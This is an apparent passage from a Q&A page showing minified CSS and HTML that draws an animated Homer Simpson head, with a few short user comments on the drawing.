position:absolute;
width:2px;
height:2px;
background-color:#f00;
border-radius:1px;
}<span>Just wait a moment !!!</span>
<div id="st"></div>Doh!
People can do this... and I can't even center a <div>
#homer *{position:absolute;box-sizing:content-box;-moz-box-sizing:content-box}#homer{position:relative;width:94px;height:133px;margin:0 auto}#homer .head *{border:1px solid #110b00}#homer .head .no-border{border:none}#homer .head .body{background:#fbd800}#homer .head .hair1{top:14px;left:0;height:13px;width:22px;border-radius:22px 22px 0 0;-moz-border-radius:22px 22px 0 0;-webkit-border-radius:22px 22px 0 0;background:0 0;-webkit-transform:rotate(-44deg);-ms-transform:rotate(-44deg);transform:rotate(-44deg);border-bottom:none}#homer .head .hair2{top:8px;left:9px;height:16px;width:26px;border-radius:32px 32px 0 0;-moz-border-radius:32px 32px 0 0;-webkit-border-radius:32px 32px 0 0;background:0 0;-webkit-transform:rotate(-27deg);-ms-transform:rotate(-27deg);transform:rotate(-27deg);border-bottom:none}#homer .head .head-top{top:15px;left:2px;width:65px;height:62px;border-bottom:none;-webkit-transform:rotate(-24deg);-ms-transform:rotate(-24deg);transform:rotate(-24deg);-moz-border-radius:43% 44% 0 0;-webkit-border-radius:43% 44% 0 0;border-radius:43% 44% 0 0;-webkit-box-shadow:inset 8px 12px 0 -12px rgba(247,254,140,1),inset 13px 3px 0 -11px rgba(247,254,140,1),inset -2px 0 0 0 rgba(229,158,4,1);-moz-box-shadow:inset 8px 12px 0 -12px rgba(247,254,140,1),inset 13px 3px 0 -11px rgba(247,254,140,1),inset -2px 0 0 0 rgba(229,158,4,1);box-shadow:inset 8px 12px 0 -12px rgba(247,254,140,1),inset 13px 3px 0 -11px rgba(247,254,140,1),inset -2px 0 0 0 rgba(229,158,4,1)}#homer .head .head-main{top:40px;left:17px;width:48px;height:62px;-webkit-transform:rotate(-24deg);-ms-transform:rotate(-24deg);transform:rotate(-24deg)}#homer .head .m1,#homer .head .m2,#homer .head .m3,#homer .head .m4{width:1px;height:14px;background:#110b00}#homer .head .m1{top:77px;left:9px;-webkit-transform:rotate(-13deg);-ms-transform:rotate(-13deg);transform:rotate(-13deg)}#homer .head .m2{top:76px;left:12px;height:12px;-webkit-transform:rotate(-45deg);-ms-transform:rotate(-45deg);transform:rotate(-45deg)}#homer .head .m3{top:71px;left:16px;height:15px;-webkit-transform:rotate(1deg);-ms-transform:rotate(1deg);transform:rotate(1deg)}#homer .head .m4{top:70px;left:21px;-webkit-transform:rotate(-39deg);-ms-transform:rotate(-39deg);transform:rotate(-39deg)}#homer .head .ear{top:90px;left:14px;width:11px;height:13px;-moz-border-radius:50%;-webkit-border-radius:50%;border-radius:50%}#homer .head .ear .inner1{top:3px;left:2px;width:7px;height:5px;-moz-border-radius:50%;-webkit-border-radius:50%;border-radius:50%;border-top:1px solid #110b00;-webkit-transform:rotate(-21deg);-ms-transform:rotate(-21deg);transform:rotate(-21deg)}#homer .head .ear .inner2{top:3px;left:4px;width:7px;height:5px;-moz-border-radius:50%;-webkit-border-radius:50%;border-radius:50%;border-top:1px solid #110b00;-webkit-transform:rotate(-109deg);-ms-transform:rotate(-109deg);transform:rotate(-109deg)}#homer .head .ear .clip{top:1px;left:8px;width:5px;height:10px}#homer .head .right-eye{top:48px;left:48px;width:31px;height:31px;-moz-border-radius:50%;-webkit-border-radius:50%;border-radius:50%;background:#fff;box-shadow:-2px -1px 0 0 rgba(247,254,140,1);overflow:hidden}#homer .head .right-eye .right-eye-pupil{top:11px;left:20px;width:4px;height:4px;-moz-border-radius:50%;-webkit-border-radius:50%;border-radius:50%;background:#110b00}#homer .head .left-eye{top:51px;left:23px;width:31px;height:31px;-moz-border-radius:50%;-webkit-border-radius:50%;border-radius:50%;background:#fff;box-shadow:-1px -1px 0 0 rgba(247,254,140,1);overflow:hidden}#homer .head .left-eye .left-eye-pupil{top:13px;left:11px;width:4px;height:4px;-moz-border-radius:50%;-webkit-border-radius:50%;border-radius:50%;background:#110b00}#homer .head .left-eye .eyelid-top{top:-21px;left:0;width:30px;height:20px;border-bottom:1px solid #110b00;border-radius:50% 50% 0 0;-webkit-animation-name:homerlefteyelidtop;-webkit-animation-duration:10s;-webkit-animation-timing-function:linear;-webkit-animation-delay:1s;-webkit-animation-iteration-count:infinite;-webkit-animation-play-state:running;animation-name:homerlefteyelidtop;animation-duration:10s;animation-timing-function:linear;animation-delay:1s;animation-iteration-count:infinite;animation-play-state:running}#homer .head .left-eye .eyelid-bottom{bottom:-11px;left:0;width:30px;height:10px;border-top:1px solid #110b00;border-radius:0 0 50% 50%;-webkit-animation-name:homerlefteyelidbottom;-webkit-animation-duration:10s;-webkit-animation-timing-function:linear;-webkit-animation-delay:1s;-webkit-animation-iteration-count:infinite;-webkit-animation-play-state:running;animation-name:homerlefteyelidbottom;animation-duration:10s;animation-timing-function:linear;animation-delay:1s;animation-iteration-count:infinite;animation-play-state:running}@-webkit-keyframes homerlefteyelidtop{0%{top:-21px}2%{top:0}100%,4%{top:-21px}}@keyframes homerlefteyelidtop{0%{top:-21px}2%{top:0}100%,4%{top:-21px}}@-webkit-keyframes homerlefteyelidbottom{0%{bottom:-11px}2%{bottom:0}100%,4%{bottom:-11px}}@keyframes homerlefteyelidbottom{0%{bottom:-11px}2%{bottom:0}100%,4%{bottom:-11px}}#homer .head .right-eye .eyelid-top{top:-18px;left:0;width:30px;height:17px;border-bottom:1px solid #110b00;border-radius:50% 50% 0 0;-webkit-animation-name:homerrighteyelidtop;-webkit-animation-duration:10s;-webkit-animation-timing-function:linear;-webkit-animation-delay:1s;-webkit-animation-iteration-count:infinite;-webkit-animation-play-state:running;animation-name:homerrighteyelidtop;animation-duration:10s;animation-timing-function:linear;animation-delay:1s;animation-iteration-count:infinite;animation-play-state:running}#homer .head .right-eye .eyelid-bottom{bottom:-11px;left:0;width:30px;height:10px;border-top:1px solid #110b00;border-radius:0 0 50% 50%;-webkit-animation-name:homerrighteyelidbottom;-webkit-animation-duration:10s;-webkit-animation-timing-function:linear;-webkit-animation-delay:1s;-webkit-animation-iteration-count:infinite;-webkit-animation-play-state:running;animation-name:homerrighteyelidbottom;animation-duration:10s;animation-timing-function:linear;animation-delay:1s;animation-iteration-count:infinite;animation-play-state:running}@-webkit-keyframes homerrighteyelidtop{0%{top:-18px}2%{top:0}100%,4%{top:-18px}}@keyframes homerrighteyelidtop{0%{top:-18px}2%{top:0}100%,4%{top:-18px}}@-webkit-keyframes homerrighteyelidbottom{0%{bottom:-11px}2%{bottom:0}100%,4%{bottom:-11px}}@keyframes homerrighteyelidbottom{0%{bottom:-11px}2%{bottom:0}100%,4%{bottom:-11px}}#homer .head .nose{top:71px;left:50px;width:18px;height:12px;border-left:none;border-right:none;-webkit-transform:rotate(-13deg);-ms-transform:rotate(-13deg);transform:rotate(-13deg)}#homer .head .nose-tip{top:69px;left:60px;width:14px;height:12px;border-left:none;-moz-border-radius:0 50% 50% 0;-webkit-border-radius:0 50% 50% 0;border-radius:0 50% 50% 0;-webkit-transform:rotate(-13deg);-ms-transform:rotate(-13deg);transform:rotate(-13deg)}#homer .head .neck1{top:85px;left:16px;width:6px;height:31px;background:0 0;border-right:1px solid #110b00;border-radius:50% 50% 25%;-webkit-transform:rotate(-14deg);-ms-transform:rotate(-14deg);transform:rotate(-14deg);-webkit-box-shadow:2px 0 0 0 rgba(247,254,140,1),5px 0 0 0 rgba(251,216,0,1);-moz-box-shadow:2px 0 0 0 rgba(247,254,140,1),5px 0 0 0 rgba(251,216,0,1);box-shadow:2px 0 0 0 rgba(247,254,140,1),5px 0 0 0 rgba(251,216,0,1)}#homer .head .neck2{top:114px;left:25px;width:45px;height:19px;border-top:none;border-bottom:none;-webkit-box-shadow:inset 2px 0 0 0 rgba(247,254,140,1);-moz-box-shadow:inset 2px 0 0 0 rgba(247,254,140,1);box-shadow:inset 2px 0 0 0 rgba(247,254,140,1)}#homer .head .mouth1{top:86px;left:28px;width:48px;height:44px;background:#cfae67;-moz-border-radius:46% 52% 44% 50%;-webkit-border-radius:46% 52% 44% 50%;border-radius:46% 52% 44% 50%;-webkit-box-shadow:inset -1px -1px 0 0 rgba(152,110,36,1);-moz-box-shadow:inset -1px -1px 0 0 rgba(152,110,36,1);box-shadow:inset -1px -1px 0 0 rgba(152,110,36,1)}#homer .head .mouth2{top:101px;left:43px;width:48px;height:12px;background:#cfae67;-moz-border-radius:46% 52% 44% 50%;-webkit-border-radius:46% 52% 44% 50%;border-radius:46% 52% 44% 50%;-webkit-transform:rotate(-15deg);-ms-transform:rotate(-15deg);transform:rotate(-15deg);-webkit-box-shadow:inset -1px 0 0 0 rgba(152,110,36,1);-moz-box-shadow:inset -1px 0 0 0 rgba(152,110,36,1);box-shadow:inset -1px 0 0 0 rgba(152,110,36,1)}#homer .head .mouth3{top:102px;left:35px;width:48px;height:12px;background:0 0;-moz-border-radius:46% 52% 44% 50%;-webkit-border-radius:46% 52% 44% 50%;border-radius:46% 52% 44% 50%;border-bottom:1px solid #110b00;-webkit-transform:rotate(-4deg);-ms-transform:rotate(-4deg);transform:rotate(-4deg)}#homer .head .mouth4{top:110px;left:38px;width:7px;height:5px;-moz-border-radius:50%;-webkit-border-radius:50%;border-radius:50%;border-top:1px solid #110b00;-webkit-transform:rotate(-81deg);-ms-transform:rotate(-81deg);transform:rotate(-81deg)}#homer .head .mouth5{top:84px;left:64px;width:27px;height:13px;background:0 0;-moz-border-radius:46% 52% 44% 50%;-webkit-border-radius:46% 52% 44% 50%;border-radius:46% 52% 44% 50%;-webkit-transform:rotate(-131deg);-ms-transform:rotate(-131deg);transform:rotate(-131deg);border-top:none;-webkit-box-shadow:inset -1px -1px 0 0 rgba(152,110,36,1);-moz-box-shadow:inset -1px -1px 0 0 rgba(152,110,36,1);box-shadow:inset -1px -1px 0 0 rgba(152,110,36,1)}#homer .head .mouth6{top:84px;left:46px;width:32px;height:31px;background:#cfae67;-webkit-transform:rotate(-18deg);-ms-transform:rotate(-18deg);transform:rotate(-18deg);-moz-border-radius:0 0 0 22px;-webkit-border-radius:0 0 0 22px;border-radius:0 0 0 22px}#homer .head .mouth7{top:104px;left:62px;width:17px;height:12px;background:#cfae67;-moz-border-radius:46% 52% 44% 50%;-webkit-border-radius:46% 52% 44% 50%;border-radius:46% 52% 44% 50%;border-left:none;border-bottom:none;-webkit-transform:rotate(6deg);-ms-transform:rotate(6deg);transform:rotate(6deg)}#homer .head .mouth8{top:79px;left:71px;width:15px;height:30px;background:#cfae67;-moz-border-radius:50%;-webkit-border-radius:50%;border-radius:50%;-webkit-transform:rotate(-30deg);-ms-transform:rotate(-30deg);transform:rotate(-30deg)}#homer > .head > .mouth{border:none}<div id="homer"><div class="head"><div class="hair1"></div><div class="hair2"></div><div class="body head-top"></div><div class="no-border body head-main"></div><div class="no-border m1"></div><div class="no-border m2"></div><div class="no-border m3"></div><div class="no-border m4"></div><div class="no-border neck1"></div><div class="body neck2"></div><div class="body ear"><div class="no-border inner1"></div><div class="no-border inner2"></div><div class="no-border body clip"></div></div><div class="mouth"><div class="mouth5"></div><div class="mouth2"></div><div class="mouth1"></div><div class="mouth7"></div><div class="no-border mouth3"></div><div class="no-border mouth4"></div><div class="no-border mouth6"></div><div class="no-border mouth8"></div></div><div class="right-eye"><div class="no-border right-eye-pupil"></div><div class="no-border body eyelid-top"></div><div class="no-border body eyelid-bottom"></div></div><div class="body nose"></div><div class="body nose-tip"></div><div class="left-eye"><div class="no-border left-eye-pupil"></div><div class="no-border body eyelid-top"></div><div class="no-border body eyelid-bottom"></div></div></div></div>-
Love it, although probably easier to use illustrator and SVGMartin Capodici– Martin Capodici2014-09-01 21:35:18 +00:00Commented Sep 1, 2014 at 21:35
-
14I can't get over that 2x2 px square in the top left conrnerSeinopSys– SeinopSys2014-09-10 21:13:50 +00:00Commented Sep 10, 2014 at 21:13
-
It needs
#homer > .head > .mouth{border:none}or something like that.Oriol– Oriol2015-02-08 00:18:00 +00:00Commented Feb 8, 2015 at 0:18
whateverNumberOfPointsYouWant * -1and let's settle in the middle?-9001points please ;)